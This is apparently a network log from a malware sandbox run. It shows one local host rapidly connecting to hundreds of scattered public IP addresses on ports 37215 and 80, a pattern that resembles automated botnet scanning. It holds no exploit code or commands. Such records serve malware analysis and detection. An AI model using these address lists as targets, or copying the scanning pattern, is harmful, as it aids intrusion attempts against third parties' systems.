Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	197.47.241.106
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.127.157.20
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.238.247.139
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.150.227.248
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.157.230.96
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	197.142.101.94
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.131.85.243
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.13.176.184
Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	156.153.111.144
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	156.40.234.185
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	197.91.47.145
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.106.177.151
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.146.209.169
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	156.216.166.14
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	197.216.12.147
Dec 3, 2024 21:47:28.559068918 CET	34043	37215	192.168.2.13	41.14.209.35
Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	156.119.66.113
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.157.5.106
Dec 3, 2024 21:47:28.559036016 CET	34043	37215	192.168.2.13	156.18.65.198
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	41.61.158.58
Dec 3, 2024 21:47:28.559068918 CET	34043	37215	192.168.2.13	156.224.211.225
Dec 3, 2024 21:47:28.559036970 CET	34043	37215	192.168.2.13	197.70.231.142
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.1.104.225
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	156.239.67.91
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.157.141.19
Dec 3, 2024 21:47:28.559068918 CET	34043	37215	192.168.2.13	156.69.28.63
Dec 3, 2024 21:47:28.559035063 CET	34043	37215	192.168.2.13	41.120.248.78
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	41.70.57.27
Dec 3, 2024 21:47:28.559072018 CET	34043	37215	192.168.2.13	41.161.110.13
Dec 3, 2024 21:47:28.559068918 CET	34043	37215	192.168.2.13	41.61.244.152
Dec 3, 2024 21:47:28.559072018 CET	34043	37215	192.168.2.13	156.246.97.121
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	197.136.68.210
Dec 3, 2024 21:47:28.559072018 CET	34043	37215	192.168.2.13	41.169.127.244
Dec 3, 2024 21:47:28.559039116 CET	42340	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:28.559072018 CET	34043	37215	192.168.2.13	41.172.125.239
Dec 3, 2024 21:47:28.559039116 CET	34043	37215	192.168.2.13	41.231.6.5
Dec 3, 2024 21:47:28.559091091 CET	34043	37215	192.168.2.13	197.139.208.16
Dec 3, 2024 21:47:28.559091091 CET	34043	37215	192.168.2.13	41.116.177.213
Dec 3, 2024 21:47:28.559091091 CET	34043	37215	192.168.2.13	156.252.199.134
Dec 3, 2024 21:47:28.559091091 CET	34043	37215	192.168.2.13	156.74.168.41
Dec 3, 2024 21:47:28.559091091 CET	34043	37215	192.168.2.13	156.76.0.254
Dec 3, 2024 21:47:28.559096098 CET	34043	37215	192.168.2.13	156.58.49.241
Dec 3, 2024 21:47:28.559096098 CET	34043	37215	192.168.2.13	197.77.77.163
Dec 3, 2024 21:47:28.559096098 CET	34043	37215	192.168.2.13	156.191.231.45
Dec 3, 2024 21:47:28.559096098 CET	34043	37215	192.168.2.13	41.246.210.164
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	156.31.254.81
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	41.25.146.175
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	197.16.84.201
Dec 3, 2024 21:47:28.559096098 CET	34043	37215	192.168.2.13	197.210.151.186
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	41.254.101.113
Dec 3, 2024 21:47:28.559099913 CET	34043	37215	192.168.2.13	41.87.25.227
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	41.206.54.15
Dec 3, 2024 21:47:28.559099913 CET	34043	37215	192.168.2.13	41.67.81.33
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	156.237.0.241
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	156.165.254.106
Dec 3, 2024 21:47:28.559099913 CET	34043	37215	192.168.2.13	197.200.126.243
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	41.24.199.176
Dec 3, 2024 21:47:28.559099913 CET	34043	37215	192.168.2.13	197.171.153.89
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	197.215.159.169
Dec 3, 2024 21:47:28.559099913 CET	34043	37215	192.168.2.13	156.133.108.250
Dec 3, 2024 21:47:28.559101105 CET	34043	37215	192.168.2.13	156.104.42.38
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	197.196.50.250
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	156.108.217.123
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	41.72.236.190
Dec 3, 2024 21:47:28.559101105 CET	34043	37215	192.168.2.13	41.74.13.104
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	156.109.191.34
Dec 3, 2024 21:47:28.559108973 CET	34043	37215	192.168.2.13	197.255.177.193
Dec 3, 2024 21:47:28.559101105 CET	34043	37215	192.168.2.13	156.146.47.225
Dec 3, 2024 21:47:28.559108973 CET	34043	37215	192.168.2.13	156.207.233.25
Dec 3, 2024 21:47:28.559101105 CET	34043	37215	192.168.2.13	197.100.202.81
Dec 3, 2024 21:47:28.559108973 CET	34043	37215	192.168.2.13	156.233.45.194
Dec 3, 2024 21:47:28.559101105 CET	34043	37215	192.168.2.13	197.98.180.235
Dec 3, 2024 21:47:28.559108973 CET	34043	37215	192.168.2.13	156.45.93.253
Dec 3, 2024 21:47:28.559101105 CET	34043	37215	192.168.2.13	156.55.113.8
Dec 3, 2024 21:47:28.559108973 CET	34043	37215	192.168.2.13	197.62.62.6
Dec 3, 2024 21:47:28.559108973 CET	34043	37215	192.168.2.13	41.73.101.2
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	41.55.117.173
Dec 3, 2024 21:47:28.559097052 CET	34043	37215	192.168.2.13	197.104.56.69
Dec 3, 2024 21:47:28.559127092 CET	34043	37215	192.168.2.13	156.14.162.197
Dec 3, 2024 21:47:28.559520006 CET	42022	37215	192.168.2.13	197.200.5.13
Dec 3, 2024 21:47:28.560168028 CET	40294	37215	192.168.2.13	41.139.213.124
Dec 3, 2024 21:47:28.560725927 CET	45538	37215	192.168.2.13	156.60.67.19
Dec 3, 2024 21:47:28.561314106 CET	42012	37215	192.168.2.13	197.247.117.110
Dec 3, 2024 21:47:28.561877012 CET	40898	37215	192.168.2.13	156.130.216.32
Dec 3, 2024 21:47:28.562483072 CET	58404	37215	192.168.2.13	156.26.206.201
Dec 3, 2024 21:47:28.563021898 CET	37660	37215	192.168.2.13	156.114.183.6
Dec 3, 2024 21:47:28.563555956 CET	59352	37215	192.168.2.13	156.221.166.16
Dec 3, 2024 21:47:28.564096928 CET	43970	37215	192.168.2.13	197.250.245.77
Dec 3, 2024 21:47:28.564649105 CET	48076	37215	192.168.2.13	41.134.121.97
Dec 3, 2024 21:47:28.565167904 CET	39604	37215	192.168.2.13	197.232.6.182
Dec 3, 2024 21:47:28.565718889 CET	45672	37215	192.168.2.13	41.217.111.208
Dec 3, 2024 21:47:28.566232920 CET	57516	37215	192.168.2.13	41.5.119.187
Dec 3, 2024 21:47:28.566755056 CET	36722	37215	192.168.2.13	197.199.17.32
Dec 3, 2024 21:47:28.567290068 CET	40862	37215	192.168.2.13	41.10.122.30
Dec 3, 2024 21:47:28.567816973 CET	55730	37215	192.168.2.13	197.201.130.69
Dec 3, 2024 21:47:28.568325043 CET	60836	37215	192.168.2.13	41.208.35.120
Dec 3, 2024 21:47:28.568841934 CET	47742	37215	192.168.2.13	156.30.252.248
Dec 3, 2024 21:47:28.569361925 CET	41458	37215	192.168.2.13	197.151.160.5
Dec 3, 2024 21:47:28.569869041 CET	39419	80	192.168.2.13	117.45.211.2
Dec 3, 2024 21:47:28.569874048 CET	39052	37215	192.168.2.13	156.12.27.60
Dec 3, 2024 21:47:28.569874048 CET	39419	80	192.168.2.13	170.202.213.10
Dec 3, 2024 21:47:28.569883108 CET	39419	80	192.168.2.13	47.111.169.211
Dec 3, 2024 21:47:28.569885969 CET	39419	80	192.168.2.13	147.177.210.173
Dec 3, 2024 21:47:28.569890022 CET	39419	80	192.168.2.13	221.183.13.47
Dec 3, 2024 21:47:28.569897890 CET	39419	80	192.168.2.13	86.89.156.55
Dec 3, 2024 21:47:28.569901943 CET	39419	80	192.168.2.13	166.48.25.52
Dec 3, 2024 21:47:28.569915056 CET	39419	80	192.168.2.13	178.87.247.171
Dec 3, 2024 21:47:28.569917917 CET	39419	80	192.168.2.13	165.183.122.78
Dec 3, 2024 21:47:28.569921017 CET	39419	80	192.168.2.13	222.148.178.134
Dec 3, 2024 21:47:28.569930077 CET	39419	80	192.168.2.13	80.111.30.186
Dec 3, 2024 21:47:28.569930077 CET	39419	80	192.168.2.13	139.182.22.195
Dec 3, 2024 21:47:28.569943905 CET	39419	80	192.168.2.13	165.36.186.50
Dec 3, 2024 21:47:28.569945097 CET	39419	80	192.168.2.13	155.61.28.226
Dec 3, 2024 21:47:28.569950104 CET	39419	80	192.168.2.13	36.219.74.125
Dec 3, 2024 21:47:28.569952965 CET	39419	80	192.168.2.13	201.22.184.230
Dec 3, 2024 21:47:28.569962025 CET	39419	80	192.168.2.13	103.105.139.129
Dec 3, 2024 21:47:28.569971085 CET	39419	80	192.168.2.13	104.235.243.134
Dec 3, 2024 21:47:28.569976091 CET	39419	80	192.168.2.13	153.171.156.226
Dec 3, 2024 21:47:28.569979906 CET	39419	80	192.168.2.13	61.132.69.3
Dec 3, 2024 21:47:28.569997072 CET	39419	80	192.168.2.13	219.6.175.149
Dec 3, 2024 21:47:28.570002079 CET	39419	80	192.168.2.13	147.235.78.175
Dec 3, 2024 21:47:28.570003986 CET	39419	80	192.168.2.13	210.79.148.254
Dec 3, 2024 21:47:28.570018053 CET	39419	80	192.168.2.13	186.220.193.188
Dec 3, 2024 21:47:28.570023060 CET	39419	80	192.168.2.13	58.12.209.243
Dec 3, 2024 21:47:28.570023060 CET	39419	80	192.168.2.13	18.68.167.149
Dec 3, 2024 21:47:28.570028067 CET	39419	80	192.168.2.13	9.207.251.120
Dec 3, 2024 21:47:28.570030928 CET	39419	80	192.168.2.13	167.160.189.150
Dec 3, 2024 21:47:28.570034027 CET	39419	80	192.168.2.13	76.218.223.182
Dec 3, 2024 21:47:28.570036888 CET	39419	80	192.168.2.13	148.31.96.56
Dec 3, 2024 21:47:28.570039988 CET	39419	80	192.168.2.13	92.52.34.213
Dec 3, 2024 21:47:28.570045948 CET	39419	80	192.168.2.13	47.206.193.183
Dec 3, 2024 21:47:28.570048094 CET	39419	80	192.168.2.13	41.201.195.210
Dec 3, 2024 21:47:28.570048094 CET	39419	80	192.168.2.13	100.128.248.45
Dec 3, 2024 21:47:28.570066929 CET	39419	80	192.168.2.13	63.224.70.220
Dec 3, 2024 21:47:28.570069075 CET	39419	80	192.168.2.13	206.175.50.30
Dec 3, 2024 21:47:28.570070982 CET	39419	80	192.168.2.13	170.77.39.5
Dec 3, 2024 21:47:28.570076942 CET	39419	80	192.168.2.13	50.186.56.169
Dec 3, 2024 21:47:28.570082903 CET	39419	80	192.168.2.13	115.40.193.220
Dec 3, 2024 21:47:28.570087910 CET	39419	80	192.168.2.13	86.2.167.107
Dec 3, 2024 21:47:28.570101023 CET	39419	80	192.168.2.13	139.147.25.158
Dec 3, 2024 21:47:28.570107937 CET	39419	80	192.168.2.13	20.243.167.11
Dec 3, 2024 21:47:28.570120096 CET	39419	80	192.168.2.13	9.36.212.236
Dec 3, 2024 21:47:28.570122004 CET	39419	80	192.168.2.13	36.233.56.75
Dec 3, 2024 21:47:28.570122957 CET	39419	80	192.168.2.13	34.137.226.131
Dec 3, 2024 21:47:28.570122957 CET	39419	80	192.168.2.13	48.43.90.0
Dec 3, 2024 21:47:28.570125103 CET	39419	80	192.168.2.13	189.39.208.104
Dec 3, 2024 21:47:28.570125103 CET	39419	80	192.168.2.13	110.242.163.4
Dec 3, 2024 21:47:28.570125103 CET	39419	80	192.168.2.13	153.195.148.33
Dec 3, 2024 21:47:28.570137024 CET	39419	80	192.168.2.13	217.155.48.43
Dec 3, 2024 21:47:28.570147038 CET	39419	80	192.168.2.13	175.20.182.28
Dec 3, 2024 21:47:28.570151091 CET	39419	80	192.168.2.13	138.234.158.88
Dec 3, 2024 21:47:28.570157051 CET	39419	80	192.168.2.13	46.208.237.163
Dec 3, 2024 21:47:28.570167065 CET	39419	80	192.168.2.13	199.160.21.1
Dec 3, 2024 21:47:28.570173025 CET	39419	80	192.168.2.13	143.203.12.86
Dec 3, 2024 21:47:28.570178986 CET	39419	80	192.168.2.13	114.177.63.33
Dec 3, 2024 21:47:28.570180893 CET	39419	80	192.168.2.13	125.199.27.131
Dec 3, 2024 21:47:28.570199013 CET	39419	80	192.168.2.13	212.70.252.157
Dec 3, 2024 21:47:28.570203066 CET	39419	80	192.168.2.13	144.172.157.179
Dec 3, 2024 21:47:28.570204020 CET	39419	80	192.168.2.13	25.161.89.6
Dec 3, 2024 21:47:28.570204973 CET	39419	80	192.168.2.13	145.166.134.43
Dec 3, 2024 21:47:28.570213079 CET	39419	80	192.168.2.13	46.37.151.208
Dec 3, 2024 21:47:28.570221901 CET	39419	80	192.168.2.13	46.245.188.170
Dec 3, 2024 21:47:28.570221901 CET	39419	80	192.168.2.13	102.100.88.202
Dec 3, 2024 21:47:28.570225000 CET	39419	80	192.168.2.13	73.194.122.208
Dec 3, 2024 21:47:28.570240974 CET	39419	80	192.168.2.13	111.126.186.153
Dec 3, 2024 21:47:28.570242882 CET	39419	80	192.168.2.13	218.82.129.11
Dec 3, 2024 21:47:28.570242882 CET	39419	80	192.168.2.13	27.134.86.102
Dec 3, 2024 21:47:28.570261002 CET	39419	80	192.168.2.13	110.195.40.67
Dec 3, 2024 21:47:28.570261955 CET	39419	80	192.168.2.13	162.183.213.44
Dec 3, 2024 21:47:28.570264101 CET	39419	80	192.168.2.13	44.208.73.174
Dec 3, 2024 21:47:28.570271969 CET	39419	80	192.168.2.13	116.234.137.111
Dec 3, 2024 21:47:28.570281982 CET	39419	80	192.168.2.13	186.154.115.132
Dec 3, 2024 21:47:28.570283890 CET	39419	80	192.168.2.13	25.211.142.245
Dec 3, 2024 21:47:28.570288897 CET	39419	80	192.168.2.13	176.128.165.86
Dec 3, 2024 21:47:28.570303917 CET	39419	80	192.168.2.13	211.42.255.162
Dec 3, 2024 21:47:28.570311069 CET	39419	80	192.168.2.13	41.210.135.77
Dec 3, 2024 21:47:28.570311069 CET	39419	80	192.168.2.13	119.113.112.102
Dec 3, 2024 21:47:28.570319891 CET	39419	80	192.168.2.13	75.121.232.2
Dec 3, 2024 21:47:28.570322990 CET	39419	80	192.168.2.13	124.82.95.3
Dec 3, 2024 21:47:28.570323944 CET	39419	80	192.168.2.13	201.149.13.93
Dec 3, 2024 21:47:28.570331097 CET	39419	80	192.168.2.13	4.221.117.73
Dec 3, 2024 21:47:28.570334911 CET	39419	80	192.168.2.13	156.119.118.90
Dec 3, 2024 21:47:28.570339918 CET	39419	80	192.168.2.13	185.60.132.248
Dec 3, 2024 21:47:28.570352077 CET	39419	80	192.168.2.13	181.43.36.239
Dec 3, 2024 21:47:28.570359945 CET	39419	80	192.168.2.13	63.86.68.35
Dec 3, 2024 21:47:28.570359945 CET	39419	80	192.168.2.13	172.167.166.229
Dec 3, 2024 21:47:28.570363998 CET	39419	80	192.168.2.13	105.160.88.71
Dec 3, 2024 21:47:28.570363998 CET	39419	80	192.168.2.13	47.9.224.224
Dec 3, 2024 21:47:28.570363998 CET	39419	80	192.168.2.13	92.40.65.113
Dec 3, 2024 21:47:28.570374012 CET	39419	80	192.168.2.13	39.108.113.60
Dec 3, 2024 21:47:28.570374012 CET	39419	80	192.168.2.13	32.243.23.170
Dec 3, 2024 21:47:28.570385933 CET	39419	80	192.168.2.13	64.145.217.32
Dec 3, 2024 21:47:28.570391893 CET	39419	80	192.168.2.13	82.62.182.142
Dec 3, 2024 21:47:28.570408106 CET	39419	80	192.168.2.13	92.151.40.3
Dec 3, 2024 21:47:28.570408106 CET	39419	80	192.168.2.13	31.185.8.205
Dec 3, 2024 21:47:28.570408106 CET	39419	80	192.168.2.13	75.50.92.223
Dec 3, 2024 21:47:28.570411921 CET	39419	80	192.168.2.13	147.133.98.63
Dec 3, 2024 21:47:28.570417881 CET	39419	80	192.168.2.13	64.221.238.215
Dec 3, 2024 21:47:28.570422888 CET	36696	37215	192.168.2.13	197.73.171.131
Dec 3, 2024 21:47:28.570431948 CET	39419	80	192.168.2.13	95.123.215.27
Dec 3, 2024 21:47:28.570437908 CET	39419	80	192.168.2.13	176.233.84.160
Dec 3, 2024 21:47:28.570461035 CET	39419	80	192.168.2.13	145.161.156.161
Dec 3, 2024 21:47:28.570461035 CET	39419	80	192.168.2.13	63.33.185.166
Dec 3, 2024 21:47:28.570461035 CET	39419	80	192.168.2.13	160.49.106.224
Dec 3, 2024 21:47:28.570471048 CET	39419	80	192.168.2.13	27.139.247.121
Dec 3, 2024 21:47:28.570472002 CET	39419	80	192.168.2.13	218.78.88.23
Dec 3, 2024 21:47:28.570472002 CET	39419	80	192.168.2.13	9.168.60.145
Dec 3, 2024 21:47:28.570478916 CET	39419	80	192.168.2.13	183.55.219.0
Dec 3, 2024 21:47:28.570492029 CET	39419	80	192.168.2.13	161.106.37.51
Dec 3, 2024 21:47:28.570492029 CET	39419	80	192.168.2.13	46.47.25.11
Dec 3, 2024 21:47:28.570498943 CET	39419	80	192.168.2.13	200.118.129.59
Dec 3, 2024 21:47:28.570498943 CET	39419	80	192.168.2.13	154.52.43.45
Dec 3, 2024 21:47:28.570504904 CET	39419	80	192.168.2.13	120.222.48.46
Dec 3, 2024 21:47:28.570507050 CET	39419	80	192.168.2.13	165.128.211.169
Dec 3, 2024 21:47:28.570508957 CET	39419	80	192.168.2.13	13.178.158.117
Dec 3, 2024 21:47:28.570511103 CET	39419	80	192.168.2.13	9.71.127.11
Dec 3, 2024 21:47:28.570511103 CET	39419	80	192.168.2.13	195.27.215.5
Dec 3, 2024 21:47:28.570524931 CET	39419	80	192.168.2.13	98.164.212.43
Dec 3, 2024 21:47:28.570528984 CET	39419	80	192.168.2.13	204.161.5.128
Dec 3, 2024 21:47:28.570533991 CET	39419	80	192.168.2.13	39.151.106.195
Dec 3, 2024 21:47:28.570544004 CET	39419	80	192.168.2.13	82.241.132.157
Dec 3, 2024 21:47:28.570544958 CET	39419	80	192.168.2.13	219.44.3.215
Dec 3, 2024 21:47:28.570554018 CET	39419	80	192.168.2.13	107.126.174.246
Dec 3, 2024 21:47:28.570563078 CET	39419	80	192.168.2.13	128.144.173.239
Dec 3, 2024 21:47:28.570565939 CET	39419	80	192.168.2.13	159.112.217.208
Dec 3, 2024 21:47:28.570566893 CET	39419	80	192.168.2.13	148.59.237.68
Dec 3, 2024 21:47:28.570570946 CET	39419	80	192.168.2.13	63.182.28.165
Dec 3, 2024 21:47:28.570574999 CET	39419	80	192.168.2.13	188.133.92.150
Dec 3, 2024 21:47:28.570580959 CET	39419	80	192.168.2.13	144.139.132.136
Dec 3, 2024 21:47:28.570581913 CET	39419	80	192.168.2.13	61.178.41.207
Dec 3, 2024 21:47:28.570583105 CET	39419	80	192.168.2.13	53.238.187.64
Dec 3, 2024 21:47:28.570588112 CET	39419	80	192.168.2.13	158.46.151.246
Dec 3, 2024 21:47:28.570588112 CET	39419	80	192.168.2.13	120.236.242.217
Dec 3, 2024 21:47:28.570589066 CET	39419	80	192.168.2.13	38.235.22.252
Dec 3, 2024 21:47:28.570601940 CET	39419	80	192.168.2.13	162.206.250.140
Dec 3, 2024 21:47:28.570610046 CET	39419	80	192.168.2.13	175.101.164.227
Dec 3, 2024 21:47:28.570610046 CET	39419	80	192.168.2.13	79.199.29.142
Dec 3, 2024 21:47:28.570611954 CET	39419	80	192.168.2.13	152.125.36.126
Dec 3, 2024 21:47:28.570611954 CET	39419	80	192.168.2.13	98.244.195.2
Dec 3, 2024 21:47:28.570622921 CET	39419	80	192.168.2.13	62.33.189.158
Dec 3, 2024 21:47:28.570628881 CET	39419	80	192.168.2.13	138.89.40.104
Dec 3, 2024 21:47:28.570646048 CET	39419	80	192.168.2.13	38.221.10.52
Dec 3, 2024 21:47:28.570646048 CET	39419	80	192.168.2.13	130.0.215.197
Dec 3, 2024 21:47:28.570652962 CET	39419	80	192.168.2.13	1.115.20.169
Dec 3, 2024 21:47:28.570652962 CET	39419	80	192.168.2.13	134.202.4.244
Dec 3, 2024 21:47:28.570652962 CET	39419	80	192.168.2.13	1.77.224.71
Dec 3, 2024 21:47:28.570667028 CET	39419	80	192.168.2.13	130.125.59.237
Dec 3, 2024 21:47:28.570673943 CET	39419	80	192.168.2.13	39.57.132.167
Dec 3, 2024 21:47:28.570673943 CET	39419	80	192.168.2.13	31.194.81.30
Dec 3, 2024 21:47:28.570673943 CET	39419	80	192.168.2.13	145.216.108.233
Dec 3, 2024 21:47:28.570677042 CET	39419	80	192.168.2.13	123.220.72.194
Dec 3, 2024 21:47:28.570677042 CET	39419	80	192.168.2.13	148.133.104.149
Dec 3, 2024 21:47:28.570679903 CET	39419	80	192.168.2.13	167.42.231.166
Dec 3, 2024 21:47:28.570689917 CET	39419	80	192.168.2.13	68.138.15.212
Dec 3, 2024 21:47:28.570699930 CET	39419	80	192.168.2.13	143.248.8.2
Dec 3, 2024 21:47:28.570710897 CET	39419	80	192.168.2.13	9.144.148.79
Dec 3, 2024 21:47:28.570717096 CET	39419	80	192.168.2.13	169.67.121.186
Dec 3, 2024 21:47:28.570720911 CET	39419	80	192.168.2.13	218.8.211.189
Dec 3, 2024 21:47:28.570720911 CET	39419	80	192.168.2.13	139.36.103.181
Dec 3, 2024 21:47:28.570724010 CET	39419	80	192.168.2.13	122.210.154.139
Dec 3, 2024 21:47:28.570724010 CET	39419	80	192.168.2.13	181.132.132.165
Dec 3, 2024 21:47:28.570739985 CET	39419	80	192.168.2.13	73.171.81.160
Dec 3, 2024 21:47:28.570741892 CET	39419	80	192.168.2.13	222.213.159.216
Dec 3, 2024 21:47:28.570741892 CET	39419	80	192.168.2.13	119.176.148.177
Dec 3, 2024 21:47:28.570741892 CET	39419	80	192.168.2.13	113.92.112.254
Dec 3, 2024 21:47:28.570744038 CET	39419	80	192.168.2.13	65.156.119.93
Dec 3, 2024 21:47:28.570748091 CET	39419	80	192.168.2.13	202.170.208.116
Dec 3, 2024 21:47:28.570759058 CET	39419	80	192.168.2.13	110.43.218.120
Dec 3, 2024 21:47:28.570790052 CET	39419	80	192.168.2.13	117.137.74.197
Dec 3, 2024 21:47:28.570791960 CET	39419	80	192.168.2.13	223.94.219.130
Dec 3, 2024 21:47:28.570791960 CET	39419	80	192.168.2.13	49.242.120.134
Dec 3, 2024 21:47:28.570791960 CET	39419	80	192.168.2.13	58.93.35.51
Dec 3, 2024 21:47:28.570792913 CET	39419	80	192.168.2.13	38.3.211.79
Dec 3, 2024 21:47:28.570795059 CET	39419	80	192.168.2.13	139.245.57.23
Dec 3, 2024 21:47:28.570795059 CET	39419	80	192.168.2.13	98.26.75.125
Dec 3, 2024 21:47:28.570795059 CET	39419	80	192.168.2.13	140.119.228.105
Dec 3, 2024 21:47:28.570795059 CET	39419	80	192.168.2.13	141.58.70.130
Dec 3, 2024 21:47:28.570801020 CET	39419	80	192.168.2.13	198.34.26.56
Dec 3, 2024 21:47:28.570801020 CET	39419	80	192.168.2.13	166.159.41.209
Dec 3, 2024 21:47:28.570801973 CET	39419	80	192.168.2.13	19.181.180.35
Dec 3, 2024 21:47:28.570801973 CET	39419	80	192.168.2.13	176.56.211.118
Dec 3, 2024 21:47:28.570811033 CET	39419	80	192.168.2.13	188.22.170.55
Dec 3, 2024 21:47:28.570811033 CET	39419	80	192.168.2.13	24.28.248.188
Dec 3, 2024 21:47:28.570811987 CET	39419	80	192.168.2.13	169.162.237.144
Dec 3, 2024 21:47:28.570816040 CET	39419	80	192.168.2.13	145.100.244.177
Dec 3, 2024 21:47:28.570816040 CET	39419	80	192.168.2.13	115.79.174.198
Dec 3, 2024 21:47:28.570816040 CET	39419	80	192.168.2.13	70.204.23.105
Dec 3, 2024 21:47:28.570816040 CET	39419	80	192.168.2.13	92.219.210.81
Dec 3, 2024 21:47:28.570818901 CET	39419	80	192.168.2.13	45.207.134.215
Dec 3, 2024 21:47:28.570822954 CET	39419	80	192.168.2.13	196.190.27.78
Dec 3, 2024 21:47:28.570822954 CET	39419	80	192.168.2.13	155.240.229.80
Dec 3, 2024 21:47:28.570822954 CET	39419	80	192.168.2.13	201.90.78.90
Dec 3, 2024 21:47:28.570823908 CET	39419	80	192.168.2.13	208.1.213.124
Dec 3, 2024 21:47:28.570827007 CET	39419	80	192.168.2.13	64.186.116.208
Dec 3, 2024 21:47:28.570827007 CET	39419	80	192.168.2.13	118.253.236.235
Dec 3, 2024 21:47:28.570842028 CET	39419	80	192.168.2.13	177.236.48.240
Dec 3, 2024 21:47:28.570842028 CET	39419	80	192.168.2.13	135.230.19.98
Dec 3, 2024 21:47:28.570854902 CET	39419	80	192.168.2.13	201.186.226.190
Dec 3, 2024 21:47:28.570862055 CET	39419	80	192.168.2.13	218.184.153.154
Dec 3, 2024 21:47:28.570877075 CET	39419	80	192.168.2.13	196.132.154.252
Dec 3, 2024 21:47:28.570883036 CET	39419	80	192.168.2.13	202.99.107.131
Dec 3, 2024 21:47:28.570893049 CET	39419	80	192.168.2.13	162.129.199.214
Dec 3, 2024 21:47:28.570895910 CET	39419	80	192.168.2.13	190.55.73.149
Dec 3, 2024 21:47:28.570910931 CET	39419	80	192.168.2.13	79.52.61.29
Dec 3, 2024 21:47:28.570914984 CET	39419	80	192.168.2.13	189.16.83.245
Dec 3, 2024 21:47:28.570914984 CET	39419	80	192.168.2.13	32.65.190.71
Dec 3, 2024 21:47:28.570923090 CET	39419	80	192.168.2.13	165.227.81.197
Dec 3, 2024 21:47:28.570928097 CET	39419	80	192.168.2.13	77.176.47.212
Dec 3, 2024 21:47:28.570930004 CET	39419	80	192.168.2.13	169.232.159.142
Dec 3, 2024 21:47:28.570943117 CET	39419	80	192.168.2.13	53.197.75.207
Dec 3, 2024 21:47:28.570950031 CET	39419	80	192.168.2.13	90.74.204.177
Dec 3, 2024 21:47:28.570955038 CET	39419	80	192.168.2.13	23.236.84.194
Dec 3, 2024 21:47:28.570960999 CET	39419	80	192.168.2.13	180.90.55.99
Dec 3, 2024 21:47:28.570966959 CET	39419	80	192.168.2.13	40.28.98.125
Dec 3, 2024 21:47:28.570981026 CET	39419	80	192.168.2.13	43.154.26.122
Dec 3, 2024 21:47:28.570981026 CET	54184	37215	192.168.2.13	41.35.150.234
Dec 3, 2024 21:47:28.570981026 CET	39419	80	192.168.2.13	76.138.191.148
Dec 3, 2024 21:47:28.570983887 CET	39419	80	192.168.2.13	221.75.19.142
Dec 3, 2024 21:47:28.570985079 CET	39419	80	192.168.2.13	221.153.228.149
Dec 3, 2024 21:47:28.571005106 CET	39419	80	192.168.2.13	99.154.132.8
Dec 3, 2024 21:47:28.571007967 CET	39419	80	192.168.2.13	98.182.14.35
Dec 3, 2024 21:47:28.571010113 CET	39419	80	192.168.2.13	36.117.154.72
Dec 3, 2024 21:47:28.571014881 CET	39419	80	192.168.2.13	81.29.163.248
Dec 3, 2024 21:47:28.571036100 CET	39419	80	192.168.2.13	106.126.138.10
Dec 3, 2024 21:47:28.571036100 CET	39419	80	192.168.2.13	129.107.170.210
Dec 3, 2024 21:47:28.571038961 CET	39419	80	192.168.2.13	113.88.205.220
Dec 3, 2024 21:47:28.571038961 CET	39419	80	192.168.2.13	111.154.226.159
Dec 3, 2024 21:47:28.571053982 CET	39419	80	192.168.2.13	156.65.1.144
Dec 3, 2024 21:47:28.571059942 CET	39419	80	192.168.2.13	202.222.121.254
Dec 3, 2024 21:47:28.571059942 CET	39419	80	192.168.2.13	97.73.246.159
Dec 3, 2024 21:47:28.571073055 CET	39419	80	192.168.2.13	32.19.22.163
Dec 3, 2024 21:47:28.571074963 CET	39419	80	192.168.2.13	193.35.163.132
Dec 3, 2024 21:47:28.571079969 CET	39419	80	192.168.2.13	48.130.63.230
Dec 3, 2024 21:47:28.571079969 CET	39419	80	192.168.2.13	101.166.246.46
Dec 3, 2024 21:47:28.571079969 CET	39419	80	192.168.2.13	88.164.136.17
Dec 3, 2024 21:47:28.571096897 CET	39419	80	192.168.2.13	104.137.253.136
Dec 3, 2024 21:47:28.571096897 CET	39419	80	192.168.2.13	168.215.31.225
Dec 3, 2024 21:47:28.571100950 CET	39419	80	192.168.2.13	80.109.99.90
